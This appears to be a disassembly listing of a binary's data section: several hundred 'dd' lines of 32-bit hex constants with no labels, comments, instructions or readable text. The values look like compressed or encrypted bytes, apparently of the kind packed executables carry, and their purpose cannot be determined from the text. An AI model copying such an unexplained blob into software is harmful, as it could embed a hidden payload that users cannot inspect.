		dd 1C65B008h, 0BCE58851h, 0B9EA58F4h, 7D6F8518h, 0EF7380F7h
		dd 0B5C526F4h, 9FC0565Ah, 4AAF0F3Fh, 45D09473h,	2190BEECh
		dd 5C172C2h, 7A652E80h,	0D13A2740h, 0C04D47C1h,	5790627Ch
		dd 7A3E362Fh, 0A7B92901h, 502DBF99h, 770D589h, 0CF92FCF0h
		dd 0A2565960h, 0B87BB219h, 0B1494C76h, 0AED5C3B2h, 0E98A5D67h
		dd 6884848Ch, 35BE3539h, 0DEF438C3h, 5BBDF04Dh,	23F5E8F1h
		dd 0B4505A00h, 1925F979h, 0B2D3CE81h, 16E191B3h, 0B541B866h
		dd 675029B3h, 4FA0B563h, 0AC1DFCBBh, 0F98D3850h, 0D23C6848h
		dd 75B70616h, 0A080EB27h, 8B65A9BBh, 294D7658h,	98A8A2AFh
		dd 33133F64h, 0F70204A2h, 232C68E1h, 0B088CC53h, 805B0295h
		dd 0AD71E3C2h, 0CB8733A6h, 0EBF05A59h, 9B652FFh, 0BBF7E996h
		dd 173CF651h, 0B52DF20h, 0F1CEEA0h, 10DDE09h, 5C499192h
		dd 3E683A50h, 0F5754BE9h, 3F254752h, 5A84EC29h,	0E4E18947h
		dd 3E4B5768h, 0E1FB1F37h, 6EF95E57h, 32127B7Dh,	958AA969h
		dd 0CBF09616h, 0C157408Ah, 0C2E55Ch, 7F7AA3EDh,	0F04D453Bh
		dd 47CA09CDh, 39584C1Bh, 1264101Fh, 7A2EB00h, 0ED0141B1h
		dd 844C3F9h, 5D2D2AB3h,	0E9054FCFh, 56E2CE0Ah, 8C383951h
		dd 2C6BF745h, 73417E36h, 12C59B64h, 5D150856h, 29584B62h
		dd 6A9F4AF0h, 5F1104DEh, 85134ACAh, 3145CA30h, 94F51CEEh
		dd 0A75EAB05h, 354F2585h, 749F8907h, 97013195h,	0FC7A4689h
		dd 0EEB9EBD1h, 0B2067CBAh
		dd 0CD70E92Fh, 27E5505Ch, 2FD75290h, 7F855AD0h,	3D6BD55Dh
		dd 0E6057E9Ah, 4AB840C2h, 0B7B0D3F6h, 1E31145Eh, 8F2A1CA2h
		dd 16207F44h, 0E8C11E6Fh, 825B1210h, 0E7E30CAh,	0CC1BD927h
		dd 0E9E8B478h, 358FB5Dh, 0C96188B8h, 3655D122h,	0E480A657h
		dd 902C5D31h, 16F707EEh, 0D04B7DF1h, 0B815E6E3h, 0E025448h
		dd 0D7AA6455h, 7B0A7802h, 0E5AF801Eh, 40F33A51h, 213F4129h
		dd 63E4885h, 46A06486h,	4BA0B24h, 0C6603F44h, 59585C4Bh
		dd 74A35E6Eh, 42E60776h, 0C027721Ah, 0CF3791CEh, 43E94A0Bh
		dd 0CF6E7980h, 0C98977C6h, 2762ED06h, 0C726B4Fh, 1EDD7CC7h
		dd 0EF7E3E8Ah, 3086FD51h, 4A5AF4F6h, 41846DA2h,	15ABD3Ch
		dd 0C6EDB05h, 0CC7F5E6Ah, 0F24DE91Ch, 185A271Ah, 0CBF0F69h
		dd 736D68C8h, 8F41CE99h, 864430h, 5209C53h, 2B4A5AB7h
		dd 6E09F096h, 246DC976h, 5FFA8910h, 0AFC28102h,	0E01C5A7Bh
		dd 3030B754h, 3F0C2B65h, 174ED46Eh, 5F2AC8E0h, 9B7416Bh
		dd 20451336h, 372C0556h, 4000B64Bh, 542CC70Dh, 0AFE91319h
		dd 0D1B458ACh, 0A5B516DDh, 52EA5D18h, 82E5F20Ch, 336CE9h
		dd 78070558h, 314F0DFCh, 92ACF5C5h, 0F1815900h,	5C757A04h
		dd 0EC521F96h, 78B83020h, 2896B0BBh, 2C04C358h,	5D9D280Ah
		dd 1B3DC50Bh, 6E9EF147h, 39390032h, 89F0DA94h, 4D083B00h
		dd 1866E928h, 9C1196B5h, 4097C21Eh, 17FE5F05h, 766BE850h
		dd 0A1122B0Ah, 0E984C23Ah, 65EB4198h, 4911CBAh,	0C02F637Fh
		dd 0E15A951Eh, 81A97A7Ch, 59F8435Bh, 0E935F899h, 0A1C570D9h
		dd 129E0580h, 0B866DA73h, 6AD94028h, 55832710h,	3B133149h
		dd 96E5F36Ch, 20B9F625h, 228A994h, 5EF13C12h, 0B92BEBD0h
		dd 86F76036h, 795C7152h, 859528DEh, 0D7313916h,	0C85E2CF3h
		dd 0A4C14370h, 7B015CC8h, 4A100D00h, 257C1C00h,	5B383457h
		dd 2CF1F005h, 9251C222h, 4CC80DDh, 5A7066AAh, 394CE876h
		dd 7F9F5E99h, 8670AD4Ah, 4299077h, 39627268h, 0FE80AE65h
		dd 76CB31D9h, 3110E62Ch, 8AF60D1Fh, 21EE1092h, 0FF940BE2h
		dd 4681F009h, 0DDE901C0h, 0EA8000BFh, 62FAF098h, 0B768328Eh
		dd 25BE0976h, 42E75957h, 59E6E8B7h, 1768CDC2h, 2898EC2Ch
		dd 0C9525Dh, 4C8046ECh,	6AD7E955h, 54F624C3h, 86861224h
		dd 5CC233E6h, 7F3725C9h, 6AB85274h, 50662863h, 8348D595h
		dd 57CBD729h, 2C7E0DCh,	7FFD8BFCh, 47FD8367h, 124E79FAh
		dd 593FC2B6h, 5A9502E4h, 50A19C19h, 8095CAE9h, 6F50BF0Eh
		dd 8916168Ch, 846FF9FDh, 16B231h, 82A32B9Fh, 0DD500956h
		dd 0F90CF5D3h, 6E765F7Dh, 5731955Dh, 62CBCA62h,	6329E36h
		dd 0AD109D0Dh, 131793BFh, 0D6087C63h, 7ADA2FEEh, 0D9DA502Fh
		dd 685C0244h, 0B2EC2349h, 23DEE336h, 9A8D2F57h,	1987FA2h
		dd 0CF3AC97Eh, 525147C0h, 4C27288h, 0E8685AD1h,	7D94B24Eh
		dd 2653C83Fh, 5BE462C7h, 0A84040F1h, 5AFC074Fh,	508A220h
		dd 43D556E4h, 7A021EAAh, 24373506h, 285AC0A5h, 4146B598h
		dd 0DAC02B90h, 7C3E1AD3h, 0E4A45B02h, 261CEA2Ah, 9AFD0311h
		dd 0F42EC8A5h, 0F1A4EFF7h, 26A9134Fh, 1880524h,	0BF2A5153h
		dd 0CD5EF101h, 184370F9h, 3B0A4BBBh, 5F9791C0h,	48556D2Ch
		dd 71122357h, 534BAB4h,	2C3A21F1h, 1F41DDCDh, 72288940h
		dd 0C5714B2Bh, 0AE235887h, 28949666h, 0F04B7C49h, 8B97E6E9h
		dd 555BE261h, 0E905E965h, 1C011D64h, 16236DEh, 20C3DCC6h
		dd 0F65E7608h, 0F8C69F17h, 0F913AF25h, 4BE970A9h, 0C186D360h
		dd 280506E0h, 0B0E032F2h, 0B0478D0h, 34B69DFEh,	33688F21h
		dd 0C16E3C38h, 3743017Dh, 178D9481h, 0DB2909F0h, 5D08B440h
		dd 89BB40BFh, 63CCB0EAh, 582B7A77h, 6DB24A07h, 8492D530h
		dd 4DAA9D2h, 8AF56536h,	123FFCF4h, 0BC291048h, 3D3C84D0h
		dd 55C9ECFCh, 520F264h,	0CF019F30h, 6853FDB1h, 0FD512D5h
		dd 8DD9294Bh, 7AF138FFh, 915DB494h, 6478D75Fh, 845FAAEFh
		dd 0CEE26F8Bh, 1EBD819Fh, 358FB800h, 1605204Ch,	0F5614BBFh
		dd 0FA042E64h, 9FA4A413h, 0CC2D41E2h, 14FA5C5Bh, 781D6BAh
		dd 0A1BF605Eh, 7A95CEF8h, 0BDC2E60Eh, 10015932h, 2B172EE9h
		dd 0C01034A3h, 0DD011F53h, 0BFD0DFCCh, 6EA002F6h, 0F3894ACEh
		dd 0DE13B1C9h, 0BD4802DEh, 82D6025h, 0BD7D90C2h, 0C05B0E05h
		dd 8507E73Dh, 51355F5Dh, 3E7820EFh, 390D0102h, 0E14E9263h
		dd 7FBB55B0h, 0D8F7FC4Ah, 3207942h, 0E7C14F67h,	7B988102h
		dd 2AFDE921h, 0B1F739A1h, 442AE655h, 0B60BC6DDh, 79F39254h
		dd 17FFAC97h, 0D9348663h, 0F5C5E5FCh, 0D4E8FC5Eh, 72D6305Eh
		dd 0EC96352Dh, 4F4DF4A0h, 3629E411h, 80DAF600h,	0EAC06AF2h
		dd 0FC10D206h, 26946Fh,	79697D1Ah, 0FC5DEF89h, 0B39F4A9Ch
		dd 0F2688296h, 8AA44C4Ch, 6792884Eh, 479B5D49h,	0D40D5Ch
		dd 0E2D1C209h, 0B77ACE68h, 0E9188246h, 0BABB83A2h, 415A09C7h
		dd 0A0552911h, 0B708DFBh, 0BDE92D05h, 3B3CDC26h, 2610A42Ah
		dd 0F668B40Fh, 905E8BD4h, 39C2CA25h, 0A660DD56h, 729F0C82h
		dd 5301F2F8h, 0E96A7F04h, 243A543Fh, 0E8E80872h, 0B7FBB01h
		dd 9A803701h, 3D83984h,	200147C7h, 34D932FAh, 0FD89FDE9h
		dd 0B97D5453h, 0B578940Dh, 54C18813h, 0C93261B4h, 0C4E55317h
		dd 9A09CDA0h, 57770921h, 8145BD83h, 0A359FBA0h,	0ED056976h
		dd 4C631096h, 5002BABDh, 29EB42FFh, 0E961F4FEh,	5564F2D0h
		dd 212E4BBh, 0D3F7403Dh, 70C1EBC1h, 0FEEB54F8h,	69BB4A12h
		dd 6E48FDE2h, 0F2311099h, 5E58DB24h, 45F2E55Ah,	0E152ECC8h
		dd 376437E9h, 0C45E4A54h, 5762AA43h, 27D37EEDh,	0E809720Eh
		dd 0E94F506h, 0C68B800h, 0D0F77A35h, 0BAAABE05h, 0AA025687h
		dd 3BFFA01Bh, 40BF2D8Bh, 90D731AEh, 0CE514E89h,	0B29A4C5Eh
		dd 42607657h, 0E253394Ah, 6E2577ACh, 0D6682FE0h, 29F0F48Dh
		dd 779EC4B3h, 0D04A2DA2h, 4D0F54B3h, 275A2B3Bh,	54278B17h
		dd 0B77C6919h, 57224227h, 0E52595CCh, 960FD161h, 0B987C0D8h
		dd 55495434h, 0F057BA0h, 0D1093592h, 0C15662FBh, 0E913F872h
		dd 0E9F42F74h, 0D0B4401Dh, 0C5FEED18h, 5BF58004h, 0B7F9027Ch
		dd 7C02895h, 0B40E5066h, 0CBE730B9h, 98385E58h,	0C04C0693h
		dd 409806F8h, 32C530EAh, 0CDE8F828h, 0BF6866C1h, 105D3B15h
		dd 0E12542CCh, 417A4E22h, 0C36DB419h, 41BB3172h, 4DF8DFDh
		dd 938E33C0h, 0AF805859h, 9778604Ch, 7CC62669h,	3F7A1E4Ah
		dd 0B0F37692h, 36D6BE25h, 3086D0ADh, 35388B52h,	5039894Dh
		dd 55BDD1DCh, 2A4E01BAh, 8264EF42h, 6D53A0Ch, 2DE85671h
		dd 0EC45E60Bh, 130A0026h, 0CE4AE445h, 754C7402h, 0A7AC4502h
		dd 0F469A459h, 0BB5300E1h, 4D0C35EBh, 276335BEh, 52B426FBh
		dd 0B69A0B7Eh, 16F00DEBh, 0CC11109h, 0D775DABh,	0E9584601h
		dd 0B9353F1Eh, 0D4F8C784h, 256FBD04h, 0ED35C3B1h, 6139F673h
		dd 1D2040Eh, 0CDE85DE8h, 0B574127Ch, 6E4DFE22h,	58604130h
		dd 0FEEE07B2h, 0D4D2F6C2h, 0C533955Bh, 2705AE36h, 9A123E2Bh
		dd 347E608Dh, 5E30FB1Dh, 0B51578E9h, 5B9EB022h,	60D14B02h
		dd 311EF393h, 2FC40774h, 1FF22B44h, 5504E203h, 49EA35F9h
		dd 6812F1D0h, 4CC951AAh, 88ECAC84h, 120FAD7h, 28DDEB81h
		dd 4BA9BA21h, 206409C8h, 86085DDEh, 0A4F43729h,	3B1BB577h
		dd 0A5B96D03h, 0B8B7E946h, 0D3F64C80h, 0FEF7E380h, 0EB3FCB75h
		dd 89B5FAC8h, 5F861923h
		dd 4C3B8C47h, 0F6F1206Fh, 357061EBh, 0EEF26473h, 3E441509h
		dd 7A87D7Ch, 2DF42508h,	0F26FC626h, 0F4D625B8h,	495B7615h
		dd 9AA98B24h, 31678097h, 2817A039h, 88D6C01h, 5B5D0C03h
		dd 0AE6AC496h, 4913569Fh, 66B4F48Eh, 43521917h,	0B147E401h
		dd 0C16F26B8h, 9F9236F0h, 61CEEF4Fh, 0D05729F2h, 0E1AB9F29h
		dd 0B649CF1h, 23FA3D95h, 0D393599Bh, 0E99C2A0Ah, 0FA4A9E61h
		dd 0D823AD82h, 0D3A744Bh, 9E1F9D0Eh, 0E9675EADh, 9B6803B1h
		dd 3B4BE9A1h, 25F4309h,	55907508h, 6816CCE6h, 0EDE36383h
		dd 2D5BA24Dh, 510C920Dh, 6A04ED1Fh, 68803B85h, 9845894h
		dd 0E67CE926h, 0E49D73E6h, 2D683DBEh, 0CE2AE170h, 0A42A48FDh
		dd 0C2F58AFh, 19096ECDh, 0A9ECE909h, 5898EB78h,	0D15BFB63h
		dd 4059CD57h, 0D351CCDBh, 17A63340h, 0B113CE2Ah, 61DDCDADh
		dd 6580DF56h, 8A0B352Ch, 0B22163Bh, 68E240F0h, 0B31D4E46h
		dd 0BB74D845h, 7E330370h, 0FCE95742h, 0B834994Fh, 7B604BBh
		dd 0BA0C1818h, 0C7E1C37Bh, 0C1BD0A5Dh, 2878A260h, 46169791h
		dd 0B44F68A8h, 0A448FC9Fh, 0BE04D618h, 5901DD63h, 0E03BBFBBh
		dd 0CB7D3165h, 1ABCB437h, 0CF81D175h, 0F06D16F4h, 3A76DC04h
		dd 0B016AE19h, 969198A4h, 5731063Dh, 3E763420h,	4CC85995h
		dd 30B95092h, 51F31B89h, 44CA8B87h, 1B746DAh, 1D7C0272h
		dd 38D8B13Ah, 0FED80B33h, 61346241h, 8804B6DAh,	8716249Eh
		dd 3A8CC361h, 31785FABh, 6F52AC8Fh, 23172A30h, 0F0115BD2h
		dd 2B592C3h, 0FC69DC09h, 0ED2BEB87h, 88342FF3h,	68A030ECh
		dd 4C973059h, 1352903Fh, 0BCFE64AEh, 673D0938h,	0E15000B8h
		dd 4CE67111h, 0F304253Fh, 0ABD8BB8Eh, 22EB1FC4h, 3D681605h
		dd 5EB0D929h, 0AD13FF94h, 13F40708h, 7A78AD2Dh,	68C149h
		dd 0CEFEB9B6h, 0E6F6E680h, 250E7FEEh, 3B27A1h, 760D1AB4h
		dd 94E1C286h, 0E708540Ah, 33B901C5h, 0E9349F22h, 626A2846h
		dd 5D70548Ch, 0BE38F019h, 4E859953h, 0A38E80Dh,	0AFC44CB5h
		dd 0FA5887D9h, 79202446h, 7CCF9FACh, 0AE4D113h,	20991E86h
		dd 0D071C9C6h, 75856CB0h, 0F08D4AB4h, 36B1CBDh,	9B5C0813h
		dd 0F9FA2981h, 689064B8h, 0E618252Dh, 5AD5AFAh,	15B54F2h
		dd 0AF18B4FCh, 6F816E3Bh, 0C42CDD2Ah, 5A007694h, 0BF78A05Eh
		dd 73E862A9h, 0C4B0315Bh, 0E7874B7Ah, 5BB4CA0h,	6B5821E1h
		dd 80688B5h, 36F6091Ch,	0C6C67037h, 0A009D90h, 81662577h
		dd 1238D6EAh, 0A8011FE0h, 5B0840F3h, 79972977h,	22F36B89h
		dd 19821026h, 40442718h, 2E175BF2h, 62252EEh, 40118B13h
		dd 0CB287A0Ch, 0E9B60C05h, 46F8A71h, 644494D2h,	5DD20F12h
		dd 0E91E81EEh, 0D12A9360h, 3B9B71BDh, 0BBE4BF27h, 4E2C19F0h
		dd 743FA8C5h, 3FF097ACh, 0D3685209h, 0B131187Fh, 0E9C01F2Ch
		dd 57B68005h, 0FE5AF108h, 0ABF4C14Ah, 28E89F17h, 62600D31h
		dd 63E5F7D0h, 6355F0Ah,	0DCE2C1B5h, 2E1898E6h, 70C06D0h
		dd 1ADE3E4Eh, 1214CA07h, 0E94A8183h, 0AD438C3h,	7E4F0868h
		dd 0FA656640h, 0D6092528h, 73E96548h, 0E5276867h, 2D5C6673h
		dd 0EED0480Eh, 0F109E30Fh, 0B169A638h, 825C4BAAh, 2A4057F8h
		dd 840B3A37h, 84DAF743h, 8DF881B3h, 0D06853E0h,	0D812633Bh
		dd 62322716h, 0BFB3C388h, 0E1959905h, 5A06A8BDh, 0C77CA24h
		dd 114760BEh, 36250138h, 315B6D0Ch, 83832F88h, 32DF905h
		dd 0BCC65496h, 0AC272154h, 0D0EF1214h, 7265D850h, 0B7B8614Bh
		dd 9D7BB51h, 0FC5E9B1h,	0F06C3251h, 0FC7218D3h,	0A8CB982Bh
		dd 0F141D125h, 0D969CF42h, 41848803h, 92E92080h, 58274ABCh
		dd 0ACF48054h, 78662F26h, 87828B89h, 0E04851F4h, 0BABD9630h
		dd 0C03855D4h, 24D284BCh, 21FC21BAh, 32C7BF8h, 0E5C34F73h
		dd 61E46B7h, 9DF997h, 0FEA18F2Ah, 0E92CD389h, 0FBA54A95h
		dd 33364C6h, 275BDDE9h,	5D2AC61Dh, 432302D4h, 0C5DE2552h
		dd 0CFA5EE80h, 1BA19A9h, 17A0ECA6h, 2E5A22E9h, 5D475AA3h
		dd 1032B65Fh, 9D4CE61Eh, 0B8378113h, 0F8B6A5D2h, 0DA4681Ah
		dd 990A16FDh, 0E91A309Fh, 7794D5D9h, 89705EA7h,	3AE4585Ah
		dd 89E4B5h, 52685153h, 0E97FD113h, 0FA1DA84Bh, 20F4EAD4h
		dd 0D2F605BBh, 8230F280h, 4DC88D3Dh, 0DE0645C7h, 5FF9314Bh
		dd 19814DD4h, 0F1809F80h, 59905260h, 57B4355Ah,	7B680657h
		dd 3838D510h, 67B5D824h, 7C2C947h, 28D1802Eh, 0EA442F75h
		dd 54C0B8E1h, 7204CDDEh, 5B20042Dh, 8C6F5C68h, 1F16B771h
		dd 0D45290E9h, 0A510B9ADh, 50582F75h, 0B85D4E9Dh, 7B5ED2FBh
		dd 3F91C357h, 0EE0746F8h, 5FEF01CCh, 232558BAh,	110D2068h
		dd 58B0A992h, 542F6F31h, 0C7CB168Bh, 2DEC4A2Eh,	272A51ADh
		dd 0E912314Eh, 8F52C76Ch, 2B46E40Fh, 95D4588Ch,	202BF5F3h
		dd 2CB96805h, 4EAF31ABh, 15366A18h, 0B6805E0Ch,	6BE90948h
		dd 1FAB6493h, 92FB9070h, 0F28F01CAh, 112C7912h,	0DCD4AA1h
		dd 8A600931h, 43F7DF5Eh, 49FF6A22h, 7F27D3D9h, 5202A244h
		dd 3F8831ABh, 920500EDh, 0B2D42445h, 0E2F643A0h, 0C637C30h
		dd 1DF5215Eh, 0A6F7896Fh, 0E0A9251Eh, 0D4F89204h, 0CB45EEADh
		dd 0F4ACEDC1h, 0BCF1420Ch, 58170B93h, 0F70169E5h, 255B6BBFh
		dd 25BD46Ah, 7C116808h,	0B8652F7Ch, 53F01C16h, 17C49429h
		dd 0A67A5F62h, 9433E43Ch, 17CDF305h, 0E3F4E1F6h, 0C55C4AE9h
		dd 0E677FB92h, 556B4CD2h, 6816C6E4h, 0ECA25062h, 0E9C529C0h
		dd 999D2EFDh, 0C52EDF1Ah, 27DCDFFh, 7FF104BAh, 51B568E2h
		dd 9EE9858Ch, 0C7FD408Ch, 53F7168Fh, 6328CCEDh,	0E118939h
		dd 22405FF8h, 48325BE9h, 0E68AE320h, 28D41FEBh,	815A1ED8h
		dd 0E7E9E2C3h, 0DF1F7C44h, 366C1247h, 57E156DEh, 3AC39C60h
		dd 0B8C832D3h, 90A4257Dh, 9462C65Eh, 0BD83B06Ah, 29641635h
		dd 5061272Dh, 0B7CD161Eh, 0F592429Fh, 34689D01h, 4FFB2372h
		dd 64106714h, 60EA5B0Bh, 0A07FCB5Dh, 0F502195Ah, 0DD26582Dh
		dd 0D154AC09h, 0A1900BA0h, 40C1C7BCh, 403A6F1Eh, 5D86F11Ch
		dd 3ED831B1h, 94AFCE0h,	0FAE96D38h, 0F759F7C0h,	0EBD1D318h
		dd 1B3C55Ah, 0D9211894h, 3B682FE9h, 5379EB8Dh, 10995724h
		dd 90B55BCEh, 2F5B7CE4h, 0EF20642h, 0E2DF0883h,	945D7162h
		dd 2F507DD2h, 4AC8AAE6h, 313B4FADh, 74E10241h, 6B66D979h
		dd 0B45002A7h, 164DF7Eh, 0D5FBC15Dh, 0B850007Bh, 4B2A36D7h
		dd 0FFE8830Fh, 8878A235h, 55C38967h, 96C3E5B2h,	470173DAh
		dd 67FCCF81h, 351748A4h, 1981E02h, 0E6C729E0h, 4CAD7425h
		dd 58125408h, 45B81BE9h, 0D67E49h, 0C8310C8Ch, 68135595h
		dd 29AF6AA0h, 55CB2ED7h, 2E4AE90Bh, 600275E8h, 8118B303h
		dd 0B01714F5h, 27EF090Fh, 8BFA41E9h, 0B33B0268h, 900FF609h
		dd 1356F1F7h, 0FC5876A0h, 27BAA4FFh, 7D8CD807h,	0B8F23B40h
		dd 0B79900F2h, 0E4677A05h, 0D0090172h, 325A8868h, 5E0F09A2h
		dd 20901C3h, 3EEBC16Ch,	7F63D982h, 1E62763Ah, 0F61E1DC4h
		dd 3B9355B6h, 1D4B7E4h,	21280370h, 0FFE5E9F0h, 11042A07h
		dd 16CC492Ch, 6E03BF54h, 0A6B9E5B6h, 9C472FAEh,	1F84652Ch
		dd 58687280h, 0CBD8E7FEh, 0B32F2477h, 5FAD09C2h, 74C0E95Eh
		dd 951AF001h, 75789C70h, 3EE9784Ch, 60F37522h, 0C18387F5h
		dd 7F395DEFh, 0AE7D0F84h, 19D6305Dh, 0F18723C0h, 0A5BA0752h
		dd 0D2A6C790h, 0F9D2B2CEh, 0C2D1708h, 0CBB40249h, 5E00F5E4h
		dd 0B7DA8952h, 0F5641D62h
		dd 0E797BE9Ah, 0D15C16C1h, 2F2C8B47h, 8518ECBh,	5F0252D1h
		dd 0D6766075h, 2F9F2F12h, 40C08B63h, 0B94EAD0Dh, 0F44A7BBCh
		dd 64404DE8h, 1C380B35h, 0CEFC53B6h, 45B8B293h,	93D19D5Fh
		dd 5AA95438h, 8018CD50h, 885C645Ch, 7F417C86h, 4202E13Ah
		dd 4458EBDFh, 0D652F796h, 8CF0919h, 45E92FF6h, 0FC402D6Fh
		dd 501266Ah, 527BBF51h,	9368D2D7h, 0D55BE02h, 89772D18h
		dd 803B7803h, 0C08896D8h, 0B944F67Fh, 0C5A2F026h, 2997395Eh
		dd 4A314DF0h, 4F59B3F5h, 0D29C20C0h, 0AD2D39F9h, 0F84B3813h
		dd 5D0740A9h, 0D67E329Fh, 9BE9413Dh, 22D22A8Fh,	5A06F03Fh
		dd 0ACDA52BEh, 0A45516B9h, 0A585F2A9h, 481BA65Bh, 11E52E9Dh
		dd 712D5A80h, 9C362C70h, 5EE9F8EDh, 3FC9E64Eh, 8966D101h
		dd 7E52D241h, 79711AADh, 13C47CCBh, 5B5F7253h, 0CB58C6D6h
		dd 3A5E8182h, 0CEA4D44h, 0CEBC3DEBh, 19440520h,	30757A14h
		dd 2814DB03h, 0E7B059E8h, 53C80400h, 0B0505152h, 38E91226h
		dd 3E75F34Ch, 0F2EA54D5h, 4EB3020Eh, 9DEAC023h,	0CB16467Ch
		dd 5C07D00Ch, 76E2C156h, 2B137139h, 7E2CD3E1h, 0DB784B02h
		dd 0AB80D701h, 15B43286h, 720D5BEh, 0E199E91Bh,	0C022406Ah
		dd 0D2A1F461h, 2745E37Fh, 0F1C525Ch, 39363735h,	0DB84D30Bh
		dd 0BB18D07Ch, 0E2522D2h, 0B5647845h, 41F5CECAh, 846A7793h
		dd 0F9E80EB3h, 0C06AA7E4h, 0D7287B96h, 7950485Fh, 141C6808h
		dd 16E25917h, 0FA5E5292h, 7D596421h, 1DB2B32Ah,	0D4F47BDh
		dd 27DECB5Dh, 0CFC25FCCh, 5FD6C79h, 1C656B4Bh, 908BD31h
		dd 0D1E60CE9h, 0E7BD42AAh, 68C127FEh, 2D2F3A06h, 0F5043F97h
		dd 6A098E9h, 0D14D1659h, 0DC7F00EDh, 5147DA71h,	73F7B905h
		dd 4D110ECh, 660E821h, 0F67FC0CEh, 7C5063C7h, 3DBD9F7h
		dd 2888B153h, 8636F72Fh, 1A33EB6h, 63826640h, 0F4C13159h
		dd 57812FE1h, 54FE2CF9h, 0A0C516F4h, 0D709BEFBh, 454D116h
		dd 816F9DEh, 68041201h,	1CA22CC6h, 2A7B8B5Ch, 20922B39h
		dd 13B9BF3h, 95FEAEC2h,	0B68668Fh, 2EFF237h, 0AA2C39B2h
		dd 0B0C1D028h, 0EFF18FEAh, 1840A27Ah, 49D5459h,	0A327FD68h
		dd 0A41911A7h, 1B38EE04h, 5EF8F08Bh, 88635197h,	893D4F92h
		dd 56777968h, 9B5CCBB8h, 600BE950h, 7EED59FAh, 11483136h
		dd 932A2505h, 5D04F208h, 0DEDB581Bh, 91EAEF3Bh,	0CF507A78h
		dd 3200907Bh, 0D02380A4h, 0A83EAB60h, 0FA345E5Ah, 70840EA9h
		dd 0FE66098Fh, 7BEC42F8h, 0BD67E0Bh, 1C4E8BAh, 3FB66810h
		dd 0D5F2697Eh, 806005FDh, 0A44F30FCh, 28A1FE1Ah, 53B810C4h
		dd 7EBB2C1Dh, 823E2CC7h, 221B78E8h, 4813FE7Ch, 584B22BAh
		dd 78EAB362h, 0E5941h, 1CAEC680h, 97F78853h, 0B32DECF9h
		dd 0D7F6E186h, 0C1800881h, 85B3E9B0h, 170E68C9h, 5F5168FFh
		dd 4233619Dh, 0E1FBE00h, 897AC917h, 92A5A304h, 6B85001Fh
		dd 554E2F97h, 539474F8h, 49410501h, 0D2942078h,	0E90C072Dh
		dd 1A81CFD4h, 0D2D90858h, 8E40C90Eh, 0E960C258h, 6FEC543Ah
		dd 0AF9F250Ah, 0B262B670h, 462A4845h, 0B8500032h, 407D77CCh
		dd 105831E9h, 0A2B2A718h, 620CD464h, 0A47D68A3h, 0F0EC7C5Bh
		dd 309E7D7Dh, 0B966D7D9h, 0D83D3B41h, 0B57B3714h, 10E6BA1h
		dd 6B76B87Ch, 47DE0C0Dh, 2ED5C4Fh, 61CE31EFh, 5C2CF031h
		dd 2D515ECBh, 2A310249h, 0CAFBAEF2h, 0EFA0A695h, 856542FAh
		dd 0CC10521Ah, 0D1F869B9h, 8976686Eh, 5E90D0B1h, 68805AD8h
		dd 8F775EA2h, 0C88F27E2h, 0A8A81219h, 9C5F5DB2h, 0B802655Ah
		dd 1F708568h, 0C329A581h, 0DC0888A0h, 0EE85AFC0h, 8D9F45Ch
		dd 1E7B431Fh, 0FABD0D8Bh, 0AF17B64Eh, 0F4D99902h, 91094B64h
		dd 5CF3C40Ch, 68193FB9h, 30C51D9Eh, 714D29DDh, 7DA745F9h
		dd 53EAE43Ah, 0D90000FDh, 5205454Eh, 61CAE92Ch,	4059CF42h
		dd 2D22C1C7h, 0E3782F04h, 2091AD34h, 4F43CAEBh,	0FCD30AB2h
		dd 1C01A041h, 0E92E124Fh, 4C9B5D09h, 290A79BEh,	9E5DEF25h
		dd 881B9CAFh, 896D1181h, 0D39CA33Bh, 0EB81DCF8h, 85284F2Ah
		dd 71695AD2h, 5C2CEC06h, 2EB90029h, 8132E846h, 491CBDC9h
		dd 0E9C42DC1h, 16913BB7h, 342A1E2Ah, 9FD5AEBAh,	8E502BBh
		dd 61745F59h, 6B453600h, 0BC464E16h, 1C4F0528h,	65A78350h
		dd 2E67B2B9h, 82E96BC0h, 77CF9AD4h, 22837DFh, 0CC38C46Fh
		dd 7870B309h, 28248898h, 7C108EF8h, 1644B950h, 823A672Ch
		dd 165053D6h, 5CEC2825h, 0DAC48E48h, 0B77EF46Bh, 0EAC35467h
		dd 3F0628D9h, 53E460FDh, 0C24EDCEBh, 0F0291E27h, 5A088150h
		dd 0EFDA1EAFh, 8662E918h, 1DAAC335h, 8125FA3Ch,	0B41B04E3h
		dd 7F692006h, 38F32803h, 0E6E8E947h, 711D29DFh,	5FC9A8E3h
		dd 5A84E2B7h, 0D0D2C54Fh, 0FE3CC54Ch, 0F27D2117h, 98F84F42h
		dd 0EE4C6812h, 0A23B6746h, 0E2506220h, 0EEC08880h, 37D387F4h
		dd 0F451B309h, 7AE970E6h, 0BD287860h, 5CDB2E74h, 77399567h
		dd 0E9DCAA02h, 25F7AF05h, 0EC010816h, 42B7025Ch, 99A6A530h
		dd 0C7DE0BC9h, 37A0DD94h, 74BCB145h, 49B4BE81h,	0ED42D56h
		dd 15D14D5h, 780598C8h,	0AA7EE414h, 830B2B35h, 0E696555Fh
		dd 0D6082E1Dh, 70E5F79Ch, 8E32A089h, 0FE10503h,	0B44D50E9h
		dd 511EAADDh, 0CDD3B1ABh, 6978475Dh, 39A404F5h,	604AF1F8h
		dd 7F40E6D0h, 0EE61F326h, 5F226439h, 4EE2A481h,	79201EC1h
		dd 0F9391615h, 3F894E42h, 0E4CDA7F9h, 84B55DEEh, 0F8159A8h
		dd 2F113DDh, 3A85CC20h,	82CA4D55h, 0E65E11BBh, 0C6F8C396h
		dd 0E52D9E48h, 50AC7279h, 0D311DF11h, 7740720Ch, 3E130C1h
		dd 0F4B214EEh, 0F1052D76h, 44D16E76h, 0D1E71D82h, 0E5831CB3h
		dd 0BCE9C298h, 801C3AB2h, 0EBC7D5E3h, 236C0FDh,	3090120Ch
		dd 0D3C20BDAh, 5F5210Bh, 2FF452C9h, 3238E7C2h, 83EBF25Ah
		dd 1303F0E9h, 0A677450Bh, 7F5011EDh, 0E9171C20h, 50ED378Eh
		dd 54A0D3DEh, 22591BFh,	0E22D16D1h, 802080BDh, 0F21F4E33h
		dd 4E92FFBh, 0FC5B5B05h, 3431623h, 3DA19FE8h, 2F84321Ah
		dd 0BFA5C402h, 0C85F6AEBh, 704681F5h, 4ADD687h,	12D0A6F4h
		dd 0EA5E0400h, 4E297B13h, 0E96C205Ch, 4B9FAC22h, 6EFAB14Ah
		dd 15CA012Ah, 0D90D6A09h, 19236AE9h, 5E0B2618h,	99E40239h
		dd 0E9C0F697h, 0F090E31h, 0D61DE929h, 97B92020h, 826BDEF9h
